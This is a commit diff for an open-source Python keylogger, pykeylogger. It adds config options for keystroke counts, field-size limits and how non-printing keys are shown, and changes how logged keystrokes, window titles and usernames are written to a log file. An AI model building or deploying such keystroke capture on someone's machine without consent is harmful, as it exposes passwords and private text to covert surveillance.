add config items for keystroke count, log field size limit, and nonprinting key representation.
implement those in the logwriter.
diff --git a/logwriter.py b/logwriter.py
index c5e5f85..dae3375 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -167,6 +167,8 @@ class LogWriter(threading.Thread):
## line format:
## date; time (1 minute resolution); fullapppath; hwnd; username; window title; eventdata
##
+ ## if we are logging keystroke count, that field becomes the penultimate field.
+ ##
## event data: ascii if normal key, escaped if "special" key, escaped if csv separator
## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath
## hwnd = event.Window
@@ -181,6 +183,9 @@ class LogWriter(threading.Thread):
#self.stopflag=False
self.eventlist = range(7) #initialize our eventlist to something.
+ if self.settings['General']['Log Key Count'] == True:
+ self.eventlist.append(7)
+
while not self.finished.isSet():
try:
event = self.q.get()
@@ -200,10 +205,17 @@ class LogWriter(threading.Thread):
self.GetProcessNameFromHwnd(event.Window),
str(event.Window),
os.getenv('USERNAME'),
- str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]'),
- unicode(self.ParseEventValue(event), 'latin-1')]
- if self.eventlist[:-1] == eventlisttmp[:-1]:
- self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1])
+ str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]
+
+ if self.settings['General']['Log Key Count'] == True:
+ eventlisttmp = eventlisttmp + [1,unicode(self.ParseEventValue(event), 'latin-1')]
+ else:
+ eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1'))
+
+ if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or len(self.eventlist[-1]) < self.settings['General']['Limit Keylog Field Size']):
+ self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log
+ if self.settings['General']['Log Key Count'] == True:
+ self.eventlist[-2] = int(self.eventlist[-2]) + 1 # increase stroke count
else:
self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list
self.eventlist = eventlisttmp
@@ -239,7 +251,12 @@ class LogWriter(threading.Thread):
#we translate all the special keys, such as arrows, backspace, into text strings for logging
#exclude shift keys, because they are already represented (as capital letters/symbols)
if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
- return('[KeyName:' + event.Key + ']')
+ npchrstr = self.settings['General']['Non-printing Character Representation']
+ npchrstr = re.sub('%keyname%', event.Key, npchrstr)
+ npchrstr = re.sub('%scancode%', event.ScanCode, npchrstr)
+ npchrstr = re.sub('%vkcode%', event.KeyID, npchrstr)
+ #return('[KeyName:' + event.Key + ']')
+ return(npchrstr)
return(chr(event.Ascii))
@@ -247,7 +264,7 @@ class LogWriter(threading.Thread):
'''Write the latest eventlist to logfile in one delimited line
'''
- if self.eventlist != range(7):
+ if self.eventlist[:7] != range(7):
try:
line = unicode(self.settings['General']['Log File Field Separator'],'latin-1').join(self.eventlist) + "\n"
self.PrintStuff(line)
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 76abb8c..c45ec46 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
index 777c121..379f214 100644
--- a/pykeylogger.val
+++ b/pykeylogger.val
@@ -38,6 +38,18 @@ Log File = string(default="logfile.txt")
Log File Field Separator Tooltip = string()
Log File Field Separator = string(default="|")
+# default: False
+Log Key Count Tooltip = string()
+Log Key Count = boolean(default=False)
+
+# default: 0
+Limit Keylog Field Size Tooltip = string()
+Limit Keylog Field Size = integer(min=0, default=0)
+
+# default: [KeyName:%keyname%]
+Non-printing Character Representation Tooltip = string()
+Non-printing Character Representation = string(default="[KeyName:%keyname%]")
+
# default: None
System Log Tooltip = string()
System Log = string(default=None)